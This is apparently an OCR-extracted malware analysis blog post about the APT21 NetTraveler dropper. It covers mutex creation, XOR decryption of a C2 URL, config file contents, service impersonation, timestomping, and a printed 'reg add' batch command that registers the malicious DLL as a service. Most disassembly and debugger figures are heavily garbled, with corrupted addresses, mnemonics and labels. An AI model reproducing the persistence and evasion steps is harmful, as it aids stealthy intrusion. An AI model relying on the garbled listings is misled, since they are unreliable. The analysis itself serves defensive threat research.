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Summary

In this blog post we’re presenting a detailed analysis of 2 malicious files (a backdoor known as “Travelnet”) linked to
an APT (Advanced Persistent Threat) actor called APT21.

APT21, also known as Zhenbao or Hammer Panda, is a group of suspected state sponsored hackers of Chinese origin.

According to multiple online sources, that we have referenced in the article, APT 21 historically targeted the Russian
government and groups which seek greater autonomy or independence from China, such as those from Tibet or

Xinjiang.

The first file is a dropper used to register a malicious DLL (NetTraveler trojan) as a service. The main purpose of the
trojan is to gather information about the environment such as user name, host name, IP address of the host, Windows
OS version, different configurations of the CPU, information about memory consumption, the list of processes. The
malicious process is interested in .doc, .docx, .xls, .xIsx, .txt, .rtf, .pdf files on disk and also on USB drives and
network shares in order to exfiltrate them. During the entire infection, multiple .ini configuration files are created and
also the malware has the capability to download and execute additional files on the infected machine. The data is
compressed using a custom Lempel-Ziv-based algorithm and encoded with a modified Base64 algorithm before it will

be exfiltrated to the Command and Control server.

Technical analysis

Section I

Dropper

SHA?256: FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338

One of the first steps the malware is performing consists of creating a mutex called ” INSTALL SERVICES NOW!”

(note the space). The mutex is used to avoid reinfection of an already infected machine:

Jtext:@e4a1088 push ebp
Jtext 08481881 mov ebp, esp
Ltext: 88481083 sub esp, 283h
Jtext: 884681089 push esi
Jtext:ee4aleas push offset Name 3 " INSTALL SERVICES NOW!™
Ltext:88468108F push 1 3 bInitialOwner
Ltext: 884681011 push a 3 lpMutexAttributes
Ltext: 884681013 call ds:CreateMutexs
Ltext: 88481819 mowv esi, eax
text:884681018 call ds:@etLastError
LJtext: 884681021 cmp eax, @67h ; '-'
Jtext: 80481026 jz loc_amimC2
Figure 1
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The malicious process creates a configuration file at “C:\Windows\System\config_t.dat” which will be heavily used

during the entire infection. The API call used to accomplish this task is CreateFileA and it’s presented in figure 2:

®| 00401716 57 push edi X877
. 7 53 push ebx
. 6A 02 push 2 ABIL
. 57 push edi X878
. 64 03 push 3 *ETF
. &8 00 0D 0O CO push COO00000 Xx87r
. 50 push eax eax: "C: YW \WINDOWS' \system' X87r
. FF 15 30 90 40 00 call dword ptr ds:[<&CreateFileAs] XB87r
. 83 F8 FF cmp eax,FFFFFFFF eax: "Ci YW \WINDOWS' \system' X87r
-» ~ OF 84 1F 04 00 00 je apt.401B51
. 50 push eax eax: "C: Y \WINDOWS' \system' x871
. FF 15 &0 90 40 00 €&811 dword ptr ds:[<&CloseHandlex] X871
. 8D 85 D4 FA FF FF Tea eax,dword ptr ss:|flebp-5z2Cj} X871
. S& push esi
. 50 push eax eax: "C: '\ \WINDOWS\\,system' X871
. 57 push edi X871
®| 00401742 FF 15 50 90 40 00 €811 dword ptr ds:[<&GetModuleFileNamea>]
®| 00401748 8D 85 D4 FA FF FF lea eax,dword ptr ss:|[febp-52C]] BT
®| 004017 4E 68 EO 68 41 00 push apt.4168E0 4168E0: "rb"” XB7E
®| 00401753 50 push eax eax: "C: N\ \WINDOWS'\systTem K87
®| 00401754 E8 F8 07 00 00 call apt.401F51 XBTE
®| 00401759 8B FO mov esi,eax eax: "C:\\WINDOWSY \system'
e || 00401758 ] pop ecx ] Iﬁ
| il i B 5 |Defau
= = A=
330 <apt.&CreateFileA>]=<kernel3z.CreateFileA> 2: [
A=
pt.exe: 1723 #B23 |L2L

D019FB40 | "C: \\WINDOWS\\system'‘\config_t.dat"

ump2  @YDump3 @ Dump4 B4 Dump 5 @ watch1  Ix=lLocals Z’ Struct 0019F730 | COD00000

Eroe 00197794 | 000DDDDZ
C 57]49 4E 44 4F|57 53 5C 73|79 73 74 65|0: WINDOWS\Syste el e
3 6F|6E 66 69 67|5F 74 2E 64|61 74 00 00|m\config t.dat.. s kst
0 00|00 00 0O 00|08 08 DO 0O|7F 0O 00 0O i i
n anlze A1 An Anlnn A An Anlen e @ 77 O0L13FTA4 | 00000000
Figure 2

The following bytes found at a precise location in the malicious file are read in order to decrypt them:

Address | Hex ASCIT

O019FACO |56 4A 44 4E |04 11 11 49|49 49 10 48|57 4E 53 SF|WVIIN...III.HWNS_
O0L9FADD (57 52 4C 4B(10 50 51 53|11 50 5B 49(4D 57 50 58 |WRLK.]QS. P[IMWPX
O019FAED |51 11 OF OF |50 4A 11 S0O|5B 4A 4A 4C|GF 48 5B 52|Q...PJ1.P[JIL_H[R
0019FAFD [[SE-SC 10 SE 4D 4E| 00 00|00 00 00 00|00 00 00 00| FECEMN. .........

Figure 3

The decryption routine is shown in the next figure and consists of a XOR operation with 0x3E:
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Ltext: 98481696 xor edx, edx
text: 88481690 cmp [esptarg_4], edx
text:eed4elosl jle short locret_4816BC

M

Jextreedaleds

Jtext: 88481643 loc_4@16A3:

text: 88481643 mov eax, [esptarg_@]
Jtext: 88481647 lea ecx, [edxteax]
Jtext: 88481648 mov al, [edxteax]
Ltext:eed48l6aD test al, al
Jtext:884816AF jz short loc_4@816B5

bl s =

text: wor al, 2Eh
text: 88481683 mov [ecx], al

M

Jtext:ee48l1665
.text:884816B85 loc_4@16B5:

Ltext:884816B5 inc edx
Ltext: 89481666 cmp edx, [esptarg_4]
text:884816B8A jl short loc_4@816A3

STdext:eedaleBC

Ltext:884816BC locret 4816BC:
Ltext:8e48l6BC retn
Jtext:884816BC sub_ 481698 endp
Jdext:eedaleBC

Figure 4

After the decryption is over the new string represents a URL which contains the C2 server as we’ll see later on:

Address | Hex ASCII

OOL9FACD|( 68 74 74 70(3A 2F 2F 77|77 77 2E 76|69 70 6D 61| http: //vwww.Vvipma
O019FADD |69 BC 72 75 |2E &3 6F 6D |2F GFE G5 77|73 69 6E 66| ilru.com/newsint
OOL9FAED|(6F 2F 31 31|6E 74 2F GE|(65 74 74 72|61 76 65 6C|o/lint/nettravel
OO19FAFO |65 ¥2 2E 61 |F3 ¥0 00 00|00 OO OO0 OO|O00 OO OO0 00| BF.8SP. . - « -« v as

Figure 5

The configuration file is populated using WritePrivateProfileStringA API calls as shown below. Please note that

WebPage is equal to the string decrypted above and the others options will be explained later on in a better context:

. s0 push eax eax:"http://www.vipnailrl | xa7Tagword FFEF
. & 85 DC FC FF FF Tea eax,dword ptr ss:[ebp-324] XETTW.D 3 (Empty)  xB7TY
. 50 push eax eax: "htep: //wen; vipmailr || Z2T0-0 3 GEIEENS SEET
. 68 D4 68 41 00 push apt.4168D4 4168D4: "WebPage” = Py,
. 53 push ebx ebx: "Option” KEZIW. 4 1 ACENPEY) I XN
Eg— FF D6 call esi esiiwritePrivateprofiles X87TW_6 3 (EmpTy)  Xx87TV
. 6A 04 push 4
. 8D 45 FC lea eax,dword ptr ss:[febp-4lJ x875tatusword 0000
. 57 push edi X87SW_B 0 X87SW.C3 O
. 50 push eax eax: "hrtp: //www. vipmailr X87SW_C1 0 XB7SW_CO O
. €8 EE 93 08 00 0O €all apt. 402280 X87SW_SF 0 XB7SW_P O
e[ 004019ED 83 €1 0C add esp,C fommomra o oo o
#| 0o4019F0 8 a5 FC lea eax,dword ptr ss:[ebp-4] v
. 2“'“'"' kot e > Default (stdcall)
SSi—<Kernel3z.writePrivateProfilestringa> (763591A0) o {::gl..‘]’“;;iiggn.,“!?;;‘;;
3: [esp+8] 0019F9BC :http
. TeXT:D040190F apt.exe:$1S0F #DDF s LespICTR001SERHD HO-DY

00416640 | "Option”

Woumpi  gloump2  WHDump3  WWoump4  @WDumps @ watch1i  bellocals P stuct 004168D4 | "WebPage"

0019F9BC | “http: //www.vipmailru.com/newsinfo/11nt/nettraveler.asp”
0019FB40 | "C:\\WINDOWS\\system\\config_t.dat"

Figure 6
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XB7

X887

Lasi
Lasi

Gs (

cs 1

e || 00401804 50 push eax eax:"10
# | D0401A0B 8D 45 FC lea eax,dword ptr ss:[Jebp-4f
@ | D0401A0E 50 push eax
|| 00401A0F 68 C4 68 41 00 push apt.4168C4 168C4: "DoWnCmdTime”
® || 00401214 53 ush ebx ebx: "Option”
FIg— FF D6 % esi esi:writePrivateProfiles:
® | D0401A17 64 04 push 4
® | 00401A19 8D 45 FC 1ea eax,dword ptr ss:[Jebp-4f
® || 00401A1C 57 push ech
|| D0401A1D 50 ush eax ax:"10"
® | 00401A1E E8 5D 08 00 00 apt 402280
®|| 00401423 83 C4 0C add esp,cC
o [t e R Y
< >
esi=<kernel32.writePrivaterrofilestringA> (763591A0)
-Text:00401A15 apt.exe:$1A15 #E15
: 00416640 | "Option”
Woumpt  @loump2  WHoump3  Wloump4  WHoumps | @ wakchi  [ellocals | Stuct e e
SRR [AscIz I A| 0019F7A0 | 0D19FCOC | . i
m‘?,n An ARTCA CC 4G ANTAG An 4N AATAR An A0 ool En sk O & T 0012F744 | 0019FB40 | "C:\\WINDOWSY\System'\conTig_t.dat
Figure 7
o[ pos01440 50 push eax = = eax:"128"
8D 45 FC lea eax dword ptr ss:[febp-4l
50 push e. eax:"12s8"
68 B8 68 41 00 push apt.uesas 416888: "UploadRate”
53 ush ebx ebx: "Option"
FF D& esi esi:writePrivateProfiles
39 7D F8 cmp dword ptr ss:|febp-sf,edi
8D 85 60 FE FF FF lea eax,dword ptr ss:[Jebp-1a0]
50 push eax eax:"128"
~ OF 84 BA 00 00 0O je apt.401B17
68 B4 68 41 00 push apt.4168B4
i . BB AC 68 41 00 mov ebx,apt.41658AC ebx"‘optwm 4168AC: "0t
) 00401A67 68 A8 6B 41 00 push apt.4168A8 416BAB: "UP"
i gfoos 52 push <bx
‘L <
esi=<kernel3z.writePrivateProfileStringA> (763551A0)
.TEXT:00401A48 apT.exe:$1A4B #E4B
00416640 | "OpTion”
@oump1  @pump2 @oump3  @Hpump4 B4 Dumps @ watch1  [x=ILocals 00416888 --Ug{:uadﬂate--
address | Hex [AscIz I DU Re [T 2 -
m‘7n SG ARTEA EE 10 NATAG Ah AR ARTAR AR AR ARl &S AR 0 & 1 00L3FB40 | "C: Y \WINDOWSY\system'\config_t.dat
Figure 8
T TR (e Vs U1 o Re e T e "7 Tpush eak ” Y \WINDOWS'Y\ System
e 00401B0B 8D 45 FC lea eax,dword ptr s=:[Jebp-al
e | 00401B0E 50 push eax SAWINDOWSY \sysTem
« | 00401B0OF 68 94 68 41 00 push apt.416894 PE"
e | 00401B14 53 push ebx ebx: "option”
e | 00401815 ~ EB OF jmp apt.401B26
#| 00401817 68 50 68 41 00 push apt.416830
e | D0401B1C 68 A8 63 41 00 push apt.4168A8 4168A8: "UP"
. 68 AC 68 41 00 ush apt.4168AC 4168AC: "Other”
. FF D6 esi esi:writePrivaterrofiles
. 29 7D E4 cmp dword ptr ss:[febp-1cl,edi
| 00401E2E 8D B5 &0 FE FF FF lea eax,dword ptr s=:[febp-1a0f
e | 00401831 50 push eax €\ \WINDOWS' \,system'
-e| 00401832 ~ 74 07 je apt.401B83B
s | 00401834 68 B4 68 41 00 push apt.416884
i e 00401833 ~ EB 05 jmp apt.401B40
Lp-- 00401E3B 68 50 63 41 00 push apt.416830
EI 00401B40 &8 B4 68 41 00 push apt.416884 416884: "AutoCheck™
® | 00401B45 68 78 68 41 00 ush apt.416878 416878: "OtherTwo™
e 00401B4A FF D& % esi esiiwritePrivaterrofiles
s | 00401B4C 64 0L push 1
o | D04D1B4E 58 pop eax ax: "C: Y\ \WINDOWS' \system'
e 00401B4F( ~ EB 02 jmp apt.401B53
®| 00401B51 33 Co XOor eax,eax eax: "C:\\WINDOWS"\ system’
® | 00401B53 SF pop edi
®| 00401854 SE pop esi esi:writePrivateProfiles
| 00401855 5B pop ebx ebx: "option™
® | 00401B56 <2 leave
#| 00401857 c3
e 00401B58 FF 74 24 04 ush dword ptr ss:[fesp+4l [esp+4]: "uP™
e 00401B5C E8 C2 OE 00 00 % apt. 402A2A
*l< >
esi=<kernel32.writePrivateProfilestringA> (763591A0)
.text:00401826 apt.exe:§1B26 #F26
; D04168AC | "Other™
W@Woump1  @lpump2  @pump3  @Youmpa  @oumps @8 watch1  bellocals 4 Struct TR g
00416890 | apt.00416830
Address Jnex AR ! -l 00197640 | "C: \\WINDOWS\\sysTem\\config_t. dat”
Figure 9
L e [ 00401838 68 90 &8 41 00 push apt.416890
|| 00401840 68 B4 68 41 00 push apt.416884 416884
|| 00401845 68 78 63 41 00 ush apt.416878 416878:
i FF D6 esi esi:writePrivateProfiles
s |/ 00401B4C 6A 0L push 1
|| D0401B4E 58 pop eax S \WINDOWSY \system'
|| 00401B4F| ~ EB 02 jmp apt.401B53
@ | 00401851 33 Co Xor eax,eax eax: "C: YW \WINDOWSY \system'
e |( 00401853 SF pop edi
® || 00401854 SE pop esi itePrivateProfiles
|| 00401855 5B pop ebx ption"
® || 00401B56 -] leave
e ittt s ==
< >
esi=<kernel32.writePrivateProfilestringA> (763591A0)
.Text:00401B4A apt.exe: S1B4A #F4A
00416878 | "Other Two"
“oumpt  Wpump2  WNDump3  WWoup4  Wloumps B watchi  Ix-llocaks DO TE B e AT nEC ]
5 e 'Hu [AscII T D04168B4 | apt, 00416884 . o
AN 9FCNC PR 32 3R nNlF4 FF 19 0nl48 10 40 onlon o0 on o0l 828 oh. _H.@. .. .. 1 LBl P c:\}wxmgwg\_\systm\\conﬁg_c.dat

Figure 10

After all of these API calls the configuration file has the following schema:
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[= config_t.dat 3

1 [Option]
Z WebPage=http://www.vipmailru.com/newsinfo/llnt/nettraveler.asp
3 DownCrdTime=10
4 UploadRate=128
] ServiceName=FastUserSwitchingCompatibility
3] [Cther]
7 TE=0
8 [CtherTwo]
2] fntoCheck=1

Figure 11

Now there is a byte at offset 0x334 in the file which indicates if the malicious process is supposed to use a proxy or
not (by default this value is 0 and UP=0 means the malware is not using a proxy for network communications). If that
byte is set to 1, the malware writes UP=1 in the configuration file and also 5 additional values: PS (proxy address), PP
(proxy port), PU (proxy user), PW (proxy password) and PF (unknown). RegQueryValueExA API is used to retrieve
the type and data for netsvcs (svchost.exe) associated with
“HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost”:

e | 0040112F 50 push eax
®| 00401120 8D BS BC F3 FF FF Tea eax,dword ptr ss:[ebp-C74]
®| 00401136 50 push eax
®| 00401137 8D 45 88 lea eax,dword ptr ss:[lebp-73]
®| 00401134 50 push eax
®| 0040113BE 53 push ebx
®| 0040113C 68 24 68 41 00 push apt.416824 416824;: "netsvcs”
®| 00401141 FE 75 EC push dword ptr ss:[ebp-140
EE— FF 15 04 90 40 00 call dword ptr ds:[<&RegQueryvalueExa>]
o 00401144 FF 75 EC push dword ptr s ebp-141
® | 00401140 8B FO moy esi,eax
e s R mm— 0L cesesesreswesen
£ >

dword ptr [00409004 <apt.&RegQueryvalueExA=]=<advapi32.RegQueryVvalusExA>

-text:00401144 apt.exe: §1144 #544

5 0000014C
Poump1  @pump2 @Dump3 @ Dump4 @4 Dump 5 B watch1 =l Locals 2 struct OOL1DECAC | 0416824 | "netsves™

scaress [ e ssexy y
0019FCDC (00 00 00 00 |E4 EE 19 00(5C 20 40 00|00 00 00 O0(Q. . DD\@ U[]l‘BEEES 0019FD6C
S S AR s L T R 0019E25C | 001 9FCRC

Figure 12

The malicious file enumerates all the available services on the host and compares them with a hardcoded list presented
in figure 13. The first service which is not found on the system will be used for malicious purposes as we’ll describe
further.

Address | Hex ASCII

0019F06C (43 65 72 74|50 72 6F 70|53 76 &3 00|53 43 50 &F | CertProp5vC.SCPO
0019F07C(6C 69 63 79(53 76 63 0O0|6C 61 GE 6D (61 6E 73 65| licySvec. lanmanse
0019F08C (72 76 65 72|00 67 70 73|76 63 00 69|70 63 &C 7O|rver.gpsvc.iphlp
DO19FD9C |73 76 63 00|6D 73 69 73|63 73 69 00|73 63 68 65 |svc.msiscsi.sche
O019F0AC |64 75 6C 65|00 77 69 GE|GD &7 g0 74|00 53 65 73| dule.winmgmt.Ses
DO19F0OBC |73 69 G6F GE|45 GE 76 00|46 61 73 74|55 73 65 72|sionEnv.FastUser
O019FOCC (53 77 69 74(63 68 69 GE(67 43 6F 6D (70 61 74 69| SwitchingCompati
0019FODC (62 69 6C 69(74 79 00 49|61 73 00 49(72 6D &F 6E|bility.Ias.Irmon
DO19FDEC |00 4E 6C 61|00 4E 74 6D|73 73 76 63|00 4E 57 43| .Nla.NtmssvC. NWC
O019FOFC (57 6F 72 6B(73 74 €1 7469 6F 6E 00O(4E 77 73 61 |Workstation.MNwsa
Q019F10C |70 61 &7 B5|6E 74 00 52|61 73 61 75|74 6F 00 52| pagent.Rasauto.R
0019F11C |61 73 6D G1L|6E 0D 52 65 |6D 6F 74 65|61 63 &3 65| asman.Remoteacce
DO19F12C |73 73 00 53|45 4E 53 00|53 68 61 72|65 64 61 63| 55.5ENS. Sharedac
O019F13C (63 65 73 73|00 53 52 53|65 72 76 62|63 65 00 54| cess.SRService.T
0019F14C (61 70 69 73|72 76 00 57 (6D &9 00 57 (6D 64 6D 50| apisrv.wmi.wmdmpP
Q0O19F15C | 6D 53 70 00|77 75 61 75|73 65 72 76|00 42 49 L4 |m5p.wuauserv.BIT
0019F16C (53 00 53 68|65 6C 6C 45|57 44 g0 F4(65 63 74 69| 5.5helTHwDetecti
0019F17C | 6F 6E 00 4C|6F &7 6F GE|48 6F 75 72|73 00 50 43| on.LogonHours.PC
0019F18C (41 75 64 69(74 00 68 65|6C 7O 73 76(63 00 75 7O|Audit.helpsvc.up
0O019F19C (6C 6F 61 64(6D &7 72 00|54 6F 6B 65 (6E 42 72 6F| loadmgr. TokenBro
0019F1AC (6B 65 72 00|55 73 65 72|4D 61 6E 61|67 65 72 00| ker.UserMmanager.
0019F1BC (41 7O 70 4D |67 6D 74 00|00 OO &F 0O|0OO0 00O 52 OO0 AppMgmt...o0...R.

Figure 13
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The strategy is as follows: it will enumerate the keys corresponding to a service like
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>" in order to see if the service is
installed or not. The following services have been present on the analyzing machine: CertPropSvc, SCPolicySvc,
lanmanserver, gpsvc, iphlpsvc, msiscsi, schedule, winmgmt, SessionEnv and the first one which was missing is
FastUserSwitchingCompatibility. RegOpenKeyExA API is utilized to check for the existence of the services, one such

example is detailed in the figure below:

| 004011D8 50 push eax eax: "SYSTEM\\CurrentCont %
e[ 00401109 6A 01 push 1 st Eémgg%
| 00401108 8D 85 BC F7 FF FF Tea eax,dword ptr ss:[febp-574]] sl Sl
#| 0os011E1 53 push ebx 2 = (EmpTY)
o[ oos011E2 50 push eax eax:"SYSTEM\\Currentcont| || X87TW_6 3 (EmpTy)
| 004011€3 68 02 00 00 80 push 30000002
E— . FF 15 00 90 40 00 €all dword ptr ds:[<eRegopenkeyExA>] x875tatusword 0000
o ['004#011EE 38 C3 cmp eax, ebx cax: "SYSTEM\\CUFrentCont| et oot
(----e| 004011FD| v 75 OF jne apt.401200 v
! of o s E S = o Default (stdcall)
: 1r [esp]
dword ptr [ <apt.&RegOpenKeyExA> |=<advapi32.RegopenkeyExA> i [eepr4] O0L9F46C
3: [esp+8] 00000000
a: [esp+C] 00000001
. text:004011ES apt.exe:S11ES #5ES jeBespeisooanonns

; : : a 80000002
Woump:  Woump2  W4oump3  WDump4  WDumps @ watch1  bellecals i Stuct 0019F46C | "SYSTEM\\CurrentControlSetl\Services\\CertPropsvc™

0019EES0
add 0019EES 4| 00000000

o —— = s I * | oo13eE5 3 | 00OOOOOL
0019F46C |53 59 53 54‘45 4D 5C 43|,-5 72 72 55|55 74 43 GF‘SYSTEM\CUI’I’EHECﬂl 0015EEEC | DD18FCCE

Figure 14

The file “C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” associated with

FastUserSwitchingCompatibility service is supposed to be deleted by the running process (it doesn’t exist on the

machine):
[ 00401234 50 push eax eax: "C:\\WINDOWS'\system;
EIP FF 15 68 90 40 00 call dword ptr ds:[<eDeleterileas] x87TagwWord FFFF
. 3D 35 84 FE FF FF Tea eax,dword ptr ss:[febp-17C] X87TW.D 3 (EmpLy)
. push eax eax: "Ci\\WINDOWS"\system; X87TW_2 3 (Empty)
. FF 15 44 90 40 00 €all dword ptr ds:[<a&GetFileattributesas] g pty
. 83 F& FF cmp eax, FFFFEEFF eax: "C:\\WINDOWSY\system % = (Empty)
P ~ 75 3B jne apt.401288 x87TW_6 3 (Empty)
! efoos01240 68 EO 67 41 00 push apt.4167E0 "advapiz2.dil”
b e| 00401252 FF 15 70 90 40 00 €&l dword ptr ds:[<&loadLibraryA>] x875tatusword 000C
! efoo401258 68 DO 67 41 00 push apt.4167D0 4167D0: "Createservicea” e e e
i ef 00401250 50 push eax eax: "C:\\WINDOWS\\system v
' o o = = = > Default (stdcall)
= 1: [esp] 0019F864
dword ptr [00409068 <apt.&DeleteFileA>]=<kernel3z.DeleterileA> 2: esg}..ﬂ 004028D
3: [esp+8] 0000014
4: [esp+C]_0027A00
. text: 00401235 apt.exe:$1235 #635
Wil n 4w~ sl e a wne e B an s e 4o [EEEEIE O0ISFBES | "C:\\WINDOWS\\system32',\ FastUserswitchingCompatibili tyex. dil”

Figure 15

A new service called “FastUserSwitchingCompatibility” is created using CreateServiceA API function which tries to
impersonate the legitimate service, the binary path of the service being %SystemRoot%\System32\svchost.exe -k

netsvcs (legitimate process):

. 53 push ebx feB7Ea
. 53 push ebx XB7ri3
. 53 push ebx X87rd
. 53 push ebx XB7r5
. B9 AD &7 41 00 mov ecx,apt.4167A0 ecx: "¥SystemRoot¥h\Syste XB7re
. 53 push ebx X87r7
. 51 push ecx ecx: "¥SystemRoot¥h\Syste
: s B
. 6A 20 push 20 ﬁg;x
| DO40127! 68 FF 01 OF 00 push FOLFF 87Th
e[ DD40127A 56 push esi esi:"FastuserswitchingCol i
¢/ Do401278 55 push esi esi:"FastUserSwitchingCo KB7TH
e 0040127C FF 75 E8 push dword ptr ss:|lebp-13J
ETP, FF DO call eax eax:CreateServiceA KBTSL
| D0401281 3B C3 cmp eax,ebx eax:CreateserviceA ]
e| 00401233 89 45 D8 mov dword ptr ss:|[ebp-zsf, eax eax:CreateserviceA v
r----8 Default
d < x Ta[e
eax=<advapi32.CreateServiceA> (776230C0) 2' [e
3: [e
-TeXT:0040127F apt.exe:$127F #67F Al [E

y " ; ¥ ; 7 D2765F38
Woump1  @oump2  @houmpz  @oump4  Whoumps @ watch1  lx=lLofal 30| 0019F0C4 | "FastUserswitchingCompatibility”
Address | Hex ASCTT A || 001 4| 0019F0C4 | "FastUserSwitchingCompatibility”

O0019FB64 [ 43] 3A 5C 57 (49 4E 44 4F (57 53 5C 73|79 73 74 65 |C:\WINDOWS\Syste

0019FB74|6D 33 32 5C|46 61 73 74|55 73 65 72|53 77 €9 73|m32\FasTUSErswit priairistosi

UO19FBB4 |63 68 69 BE|67 43 6F 60|70 61 74 69|62 69 6L 63| chingcompatibili S lotrmongl

O013FB34|74 79 65 7B|2E 64 6C 6C|00 00 00 00|00 00 00 00| tyex.dll & ot s " = a
0015FBA4|00 DO 00 00|00 00 00 00|00 DO 0D 00|00 00 o e e 2l Xovstemloot X Systemsashevchost Jexs 2K inetsves
0019FBB4 |00 DD DD 00|00 00 0O 00|00 0O 0O 00|00 0O e e

001SFEC4 |00 0D DO 00|00 00 00 00|00 00 00 00|00 0O il [ttt

0013FED4 |00 0O OO 00|00 00 0O 00|00 00 00 00|00 0O : 5

O012EES E [ 00000000
O012EESC | 00000000

0019FBE4 (00 00 00 0OO(00 00 00 00|00 00 00 00|00 0O

Figure 16

If the call is successful we’ll see a registry key like the one displayed in figure 17. (this technique is part of evasion
techniques). Attackers will try to impersonate/use legitimate system binaries or libraries on the host to hide malicious

activity. This will allow them to blend with regular activity and remain hidden. (you can find more details about
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- o X
File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSetiServices\FastUserSwitchingCompatibility
: i Disk Pulse Enterprise 7 [ — Tp Deta
Z"‘E"’“”’"E“S"‘ (98] (Defaul) REG.SZ (value nat set)
d”“'“ . 38| DisplayName REG_SZ FastUserSwitchingCompatibility
D’:::::’::s SEVICE! 24 ErrorControl REG_DWORD 0xD0000001T (1)
aF]ImagePath REG_EXPAND_SZ 54SystemRoot\System32\svehost.exe -k netsves
Dosve 2 " i
ab) ObjectMame REG_SZ LocalSystem
dot3sve
i 244 start REG_DWORD 000000002 (2)
e ) Type REG_DWORD 000000020 (32)
D oes 48 wowss REG_DWORD 0:0000014c (332)

Figure 17

In order to verify that the service was successfully created the malicious process tries to open
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility” (now it exists

because it corresponds to the newly created service):

50 push eax eax: "SYSTEM\\CUrrentcont! | ygzTw o 3 (Empt X87TH,
e T AR e 3 (Ewny e
ea eax,dword ptr ss:[ebp-c7 = :
53 push ebx X87Tw_4 3 (Empty) X87TW,
50 push eax eax: "SYSTEM\\Currentcont| | X87TW_6 3 (Empty)  x87TW.
FF 75 EC push dword ptr ss:[febp-14]]
EE——— FF 15 00 90 40 00 €all dword ptr ds=:[<sRegopenkeyExaA>] x87statusword 0000
38 C3 cmp_eax, ebx eax: "SYSTEM\\CurrentConti
== ~ 74 15 je apt.40134D v
i .. = E = = > Default (stdcall)
— = 1: [esp] 80000002
dword ptr [00409000 <apt.&ReEgOpenKeyExA>]=<advapisz.ReqopenkeyExas 2: [esprt4] ODL9FDGC "SYSTE
3: [esp+s] 00000000
4: [esp+C]_ODOFOO3F
. text:0040132E apt.exe:$132E #72E

" u " " u &) 80000002
Woump 1 | Woump2 WMoDump3  @Wpump4  WMoumps @ watch1  be-loal [0 0D19F06C | "SYSTEM\\CUFrentControlset'\services\\FastuserswitchingCompatibility”

Address | Hex | AscII iy
O0L9FOGC|53/59 53 S54[45 4D 5C 4375 72 72 65[6E 74 43 6F | SYSTEM\CurrentCo|

Figure 18

A new key called “Parameters” is created under
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility” using
RegCreateKeyA API. This will be used to register a malicious DLL as a service:

50 push eax

68 68 67 41 00 push apt.416768 416768: "Parameters™
FF 75 EC push dword ptr ss:|[ebp-14]

FF 15 18 90 40 00 call dword ptr ds:[<&RegCreatekeyA=]

dword ptr [00409018 <apt.&RegCreatekeyA>]=<advapizz2.ReglreateKkeyas>

.Text: 00401398 apt.exe:$139B8 #79B
00000180

WWoump1  @hpump2  @lDumpz  @hDump4  EWDumps @0 watch1i el Lolad R e e e e e 5 e
[address [Hex TaerTT I .|| 0019EE5C | OD19FCED

Figure 19

The process creates an empty file called temp.bat in the same directory as the initial executable (in our case, Desktop).

The content of the batch file is shown below:

t:ifmvbanﬂ
1 fecho off

§rey add "HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\FastUserswitchingCompatibility\Parameters® /v ServiceDll /t REG EXPAND SZ /d C:\WINDOWS\systems2\FastUserswitchingCompatibilityex.dll

Figure 20

The purpose of the batch file is to register the DLL found at
“C:\WINDOW S\system32\FastUserSwitchingCompatibilityex.dll” as a service by adding “ServiceDIl” entry. File
“C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” doesn’t exist at this time, however it’s created by

the malware using CreateFileA API as shown below (it will be populated with malicious code as we’ll see in a bit):
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® || 00401400 53 push ebx X87r7 00000DOOO0DL
o 0040140E 68 80 00 00 00 push 80
o 0o2014E3 6a 02 pusn 2 x87Tagword FFFF
o |l 004014E5 53 push ebx
o 004014E8 53 push ebx ::;m—g ; Esxnty%
o[ oos014E7 8D 85 84 FE FF FF Tea eax,dword ptr ss:[febp-17c] B e pty
e/ 004014ED 658 00 00 00 40 push 40000000 x = (Empty)
o[ oo4014F2 50 push eax eax: "C:\\WINDOWS\\system X87TW_6 3 (Empty)
. FF 15 30 90 40 00 €311 dword ptr ds:[<aCreaterileax]
e 004014F3 8B F8 mov edi,eax edi:CloseserviceHandle, | xB75tatusword 000(
e[ 004014FB 83 FF FF cmp edi,FFFFFFFF edi:CloseserviceHandle w
————— e 002014FE| ~ OF 84 €3 00 00 00 je apt.4015c7 v =
| of o > Default (stdcall)
L = = 1: [esp] 0019FB64
dword ptr [004039030 <apt.4&CreateFileA»]=<kernel3z.Createrleas 3! [espt4] 2000000
3: [esp+8] 0000000
.text:004014F3 apt.exe:$14F3 #8F3 %
Woump i | Wpump2 WWoump3  @Youmps  Whoumps @B watch1 | xeliofalk fEETEEEE 28;35533 R e B LR D E O Oa T B T R
0019EE4C | 00000000
3;;:;;:53:4 ::xBA SC 57]49 4E 44 4F|57 53 5C 73|79 7 A *| ooz2z0 o0oaoon
7 7 79 73 74 65 |C: \WINDOWS\Syste et ionoaoos
0D19FB74(6D 33 32 5C|46 61 73 74|55 73 65 72|52 77 €9 7a|m3z\Fastuserswit TS5 icinnoen
OD13FES84 (63 68 69 GE|G7 43 6F 6D|70 61 74 69|62 65 6C 63| chingCompatibili EYactac | aaonooes

2c ca er erlan An nn anlan an nn anlseas A1

Figure 21

“Timestomping” is a tehnique used by a malicious actor to modify files’ timestamps (for example created/modified
timestamps) in order not to raise any suspicions about the file. In our case the created and modified timestamps of the

DLL file are set to Tuesday, August 17, 2004, 9:00:00 PM:

| FastUszerSwitchingCompatibilityex.dll Properties x

General Security Detals Previous Versions

FastUserSwitchingCompatibityesx. dil

Type of fle:  Application extension (.dll)
Opens with: ' Common File Format Ex : Change...

Location: Chwindows  Sys\wiOln/ed
Size: 0 bytes
Se ondisk: 0 bytes

Created: Tuesday, August 17, 2004, 5:00:00 PM
Modihed: Tuesday, August 17, 2004, 5:00:00 PM

Accessed: Today, November 22, 2020, 1 minute ago

Attributes: [ |Readonly [ ] Hidden | Advanced... |

[ ok ]I concet || Aesi

Figure 22

Now the DLL file created earlier is filled with malicious code using WriteFile API. Even if the path of the file looks

legitimate (running from “C:\Windows\SysWOW64” directory), it’s just impersonating a legitimate service:
